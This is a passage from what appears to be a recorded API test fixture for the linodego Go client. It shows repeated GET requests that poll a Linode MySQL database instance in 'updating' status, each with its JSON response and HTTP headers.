X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 